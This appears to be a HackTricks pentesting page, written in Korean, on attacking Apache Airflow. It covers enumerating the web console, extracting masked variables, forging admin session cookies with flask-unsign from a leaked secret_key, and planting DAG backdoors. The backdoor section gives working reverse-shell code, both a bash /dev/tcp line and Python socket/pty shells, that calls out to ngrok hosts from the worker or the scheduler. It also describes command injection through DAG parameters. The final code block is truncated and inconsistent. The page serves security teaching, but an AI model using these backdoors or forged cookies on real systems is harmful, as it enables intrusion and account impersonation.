Apache Airflow Security

Support HackTricks

Basic Information

Apache Airflow데이터 파이프라인 또는 워크플로우를 조정하고 예약하는 플랫폼으로 사용됩니다. 데이터 파이프라인의 맥락에서 "조정"이라는 용어는 다양한 출처에서 발생하는 복잡한 데이터 워크플로우를 정리하고, 조정하며, 관리하는 과정을 의미합니다. 이러한 조정된 데이터 파이프라인의 주요 목적은 처리되고 소비 가능한 데이터 세트를 제공하는 것입니다. 이러한 데이터 세트는 비즈니스 인텔리전스 도구, 데이터 과학 및 머신 러닝 모델 등 다양한 애플리케이션에서 광범위하게 사용되며, 이는 빅 데이터 애플리케이션의 기능에 필수적입니다.

기본적으로, Apache Airflow는 무언가(이벤트, 크론)가 발생할 때 코드 실행을 예약할 수 있게 해줍니다.

Local Lab

Docker-Compose

https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml에서 docker-compose 구성 파일을 사용하여 완전한 apache airflow 도커 환경을 시작할 수 있습니다. (MacOS를 사용하는 경우 도커 VM에 최소 6GB의 RAM을 할당해야 합니다).

Minikube

apache airflow를 실행하는 쉬운 방법 중 하나는 minikube로 실행하는 것입니다:

helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
helm install airflow-release airflow-stable/airflow
# Some information about how to aceess the web console will appear after this command

# Use this command to delete it
helm delete airflow-release

Airflow Configuration

Airflow는 민감한 정보를 구성에 저장할 수 있으며, 약한 구성이 있을 수 있습니다:

Airflow RBAC

Airflow를 공격하기 전에 권한이 어떻게 작동하는지 이해해야 합니다:

Attacks

Web Console Enumeration

웹 콘솔에 접근할 수 있다면 다음 정보 중 일부 또는 전부에 접근할 수 있습니다:

  • 변수 (여기에 사용자 정의 민감한 정보가 저장될 수 있습니다)

  • 연결 (여기에 사용자 정의 민감한 정보가 저장될 수 있습니다)

  • http://<airflow>/connection/list/에서 접근

  • 구성 (여기에 secret_key 및 비밀번호와 같은 민감한 정보가 저장될 수 있습니다)

  • 사용자 및 역할 목록

  • 각 DAG의 코드 (흥미로운 정보가 포함될 수 있습니다)

Retrieve Variables Values

변수는 Airflow에 저장될 수 있어 DAGs값에 접근할 수 있습니다. 이는 다른 플랫폼의 비밀과 유사합니다. 충분한 권한이 있다면 http://<airflow>/variable/list/의 GUI에서 접근할 수 있습니다. Airflow는 기본적으로 GUI에서 변수의 값을 표시하지만, 에 따르면 별표로 표시되는 변수 목록을 설정할 수 있습니다.

그러나 이러한 은 여전히 CLI를 통해 가져올 수 있습니다 (DB 접근이 필요함), 임의의 DAG 실행, API를 통해 변수 엔드포인트에 접근 (API가 활성화되어야 함), 심지어 GUI 자체에서도! GUI에서 이러한 값에 접근하려면 접근하고자 하는 변수를 선택하고 작업 -> 내보내기를 클릭하면 됩니다. 또 다른 방법은 검색 필터링을 사용하여 숨겨진 값에 대해 브루트포스를 수행하는 것입니다:

Privilege Escalation

expose_config 구성이 True로 설정되어 있다면, User 역할 및 상위 역할은 웹에서 구성읽을 수 있습니다. 이 구성에는 **secret_key**가 나타나며, 이는 유효한 사용자가 자신의 서명된 쿠키를 생성하여 다른 사용자 계정을 가장할 수 있음을 의미합니다.

flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"

DAG 백도어 (Airflow 작업자에서 RCE)

DAGs가 저장되는 위치에 쓰기 권한이 있다면, 역방향 셸을 보내는 하나를 생성할 수 있습니다. 이 역방향 셸은 airflow 작업자 컨테이너 내에서 실행될 것입니다:

import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator

with DAG(
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433  0>&1',
)
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

with DAG(
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)

DAG 백도어 (Airflow 스케줄러에서 RCE)

코드의 루트에서 실행되도록 설정하면, 이 글을 작성하는 순간, DAG의 폴더에 넣은 후 몇 초 후에 스케줄러에 의해 실행됩니다.

import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

rs("2.tcp.ngrok.io", 14403)

with DAG(
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}

DAG 생성

만약 DAG 클러스터 내의 머신을 침해하는 데 성공한다면, dags/ 폴더에 새로운 DAG 스크립트를 생성할 수 있으며, 이 스크립트는 DAG 클러스터 내의 나머지 머신에 복제됩니다.

DAG 코드 주입

GUI에서 DAG를 실행할 때 인수를 전달할 수 있습니다. 따라서, DAG가 제대로 코딩되지 않았다면 명령어 주입에 취약할 수 있습니다. 이것이 바로 이 CVE에서 발생한 일입니다: https://www.exploit-db.com/exploits/49927

DAG에서 명령어 주입을 찾기 시작하기 위해 알아야 할 모든 것매개변수가 **코드 dag_run.conf.get("param_name")**로 접근된다는 것입니다.

게다가, 동일한 취약점이 변수에서도 발생할 수 있습니다(충분한 권한이 있다면 GUI에서 변수의 값을 제어할 수 있습니다). 변수는 다음과 같이 접근됩니다:

from airflow.models import Variable
[...]
foo = Variable.get("foo")

만약 그들이 예를 들어 bash 명령어 안에서 사용된다면, 명령 주입을 수행할 수 있습니다.

HackTricks 지원하기

Last updated